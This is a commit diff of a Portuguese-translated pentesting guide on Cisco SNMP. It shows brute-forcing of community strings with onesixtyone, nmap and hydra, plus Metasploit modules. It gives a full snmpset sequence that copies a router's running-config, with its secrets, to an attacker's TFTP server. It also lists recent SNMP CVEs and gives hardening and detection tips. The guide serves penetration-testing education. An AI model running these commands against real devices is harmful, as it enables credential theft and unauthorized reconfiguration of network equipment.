Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.

This commit is contained in:
Translator 2025-08-20 10:16:27 +00:00
parent aa3c18c5ad
commit c887b94092

View File

@ -4,34 +4,92 @@
## Pentesting Cisco Networks
**SNMP** funciona sobre UDP com as portas 161/UDP para mensagens gerais e 162/UDP para mensagens de trap. Este protocolo depende de strings de comunidade, que servem como senhas que permitem a comunicação entre agentes SNMP e servidores. Essas strings são fundamentais, pois determinam os níveis de acesso, especificamente **permissões de somente leitura (RO) ou leitura e gravação (RW)**. Um vetor de ataque notável para pentesters é a **força bruta de strings de comunidade**, visando infiltrar dispositivos de rede.
**SNMP** funciona sobre UDP com as portas **161/UDP** para mensagens gerais e **162/UDP** para mensagens de trap. Este protocolo depende de *strings de comunidade*, que servem como "senhas" em texto simples que permitem a comunicação entre agentes e gerentes SNMP. Essas strings determinam o nível de acesso, especificamente **permissões de somente leitura (RO) ou leitura e gravação (RW)**.
Uma ferramenta prática para executar tais ataques de força bruta é [**onesixtyone**](https://github.com/trailofbits/onesixtyone), que necessita de uma lista de possíveis strings de comunidade e os endereços IP dos alvos:
Um vetor de ataque clássico—mas ainda extremamente eficaz—é **forçar strings de comunidade** para elevar de usuário não autenticado a administrador do dispositivo (comunidade RW). Uma ferramenta prática para essa tarefa é [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
```bash
onesixtyone -c communitystrings -i targets
onesixtyone -c community_strings.txt -i targets.txt
```
#### `cisco_config_tftp`
O framework Metasploit possui o módulo `cisco_config_tftp`, facilitando a extração de configurações de dispositivos, dependendo da obtenção de uma string de comunidade RW. Os parâmetros essenciais para esta operação incluem:
- String de comunidade RW (**COMMUNITY**)
- IP do atacante (**LHOST**)
- IP do dispositivo alvo (**RHOSTS**)
- Caminho de destino para os arquivos de configuração (**OUTPUTDIR**)
Após a configuração, este módulo permite o download das configurações do dispositivo diretamente para uma pasta especificada.
#### `snmp_enum`
Outro módulo do Metasploit, **`snmp_enum`**, especializa-se em coletar informações detalhadas de hardware. Ele opera com qualquer tipo de string de comunidade e requer o endereço IP do alvo para execução bem-sucedida:
Outras opções rápidas são o script NSE do Nmap `snmp-brute` ou o módulo SNMP do Hydra:
```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
```
---
### Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)
Se você obtiver uma **comunidade RW**, pode copiar a running-config/startup-config para um servidor TFTP/FTP *sem acesso CLI* abusando do CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`). Duas abordagens comuns são:
1. **Nmap NSE `snmp-ios-config`**
```bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
```
O script orquestra automaticamente a operação de cópia e imprime a configuração no stdout.
2. **Sequência manual `snmpset`**
```bash
# Copy running-config (4) to a TFTP server (1) random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
```
Identificadores de linha são *one-shot*; reutilizar dentro de cinco minutos aciona erros `inconsistentValue`.
Uma vez que o arquivo está no seu servidor TFTP, você pode inspecionar credenciais (`enable secret`, `username <user> secret`, etc.) ou até mesmo enviar uma configuração modificada de volta para o dispositivo.
---
### Recursos do Metasploit
* **`cisco_config_tftp`** baixa running-config/startup-config via TFTP após abusar do mesmo MIB.
* **`snmp_enum`** coleta informações de inventário do dispositivo, VLANs, descrições de interface, tabelas ARP, etc.
```bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
```
---
## Vulnerabilidades recentes do Cisco SNMP (2023 2025)
Acompanhar os avisos dos fornecedores é útil para identificar oportunidades de *zero-day-to-n-day* dentro de um engajamento:
| Ano | CVE | Recurso afetado | Impacto |
|-----|-----|-----------------|---------|
| 2025 | CVE-2025-20174 | Subsistema SNMP | Pacote elaborado leva a *DoS* autenticado (reload) no IOS/IOS-XE (v1/v2c/v3). |
| 2024 | CVE-2024-20373 | Manipulação de ACL IPv4 | ACLs **estendidas** mal configuradas falham silenciosamente, permitindo polling SNMP não autenticado quando uma comunidade/usuário válido é conhecido. |
| 2025 | (sem CVE ainda) | Bypass de restrição de configuração do SNMPv3 | Usuário v3 válido pode fazer polling de endereços que deveriam ser negados. |
A explorabilidade muitas vezes ainda depende de possuir a string da comunidade ou credenciais v3—outra razão pela qual a força bruta continua relevante.
---
## Dicas de Fortalecimento e Detecção
* Atualize para uma versão fixa do IOS/IOS-XE (veja o aviso da Cisco para o CVE acima).
* Prefira **SNMPv3** com `authPriv` (SHA-256/AES-256) em vez de v1/v2c.
```
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
```
* Vincule o SNMP a um VRF de gerenciamento e **restrinja com ACLs IPv4 numeradas *padrão*** (ACLs nomeadas estendidas são arriscadas CVE-2024-20373).
* Desative **comunidades RW**; se operacionalmente necessário, limite-as com ACL e views:
`snmp-server community <string> RW 99 view SysView`
* Monitore por:
- Picos de UDP/161 ou fontes inesperadas (regras SIEM).
- Eventos `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` indicando alterações de configuração fora de banda.
* Ative **logging do SNMPv3** e `snmp-server packetsize 1500` para reduzir certos vetores de DoS.
---
## Referências
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- Cisco: *Como Copiar Configurações Para e De Dispositivos Cisco Usando SNMP*
- Aviso de Segurança da Cisco *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
{{#include ../../banners/hacktricks-training.md}}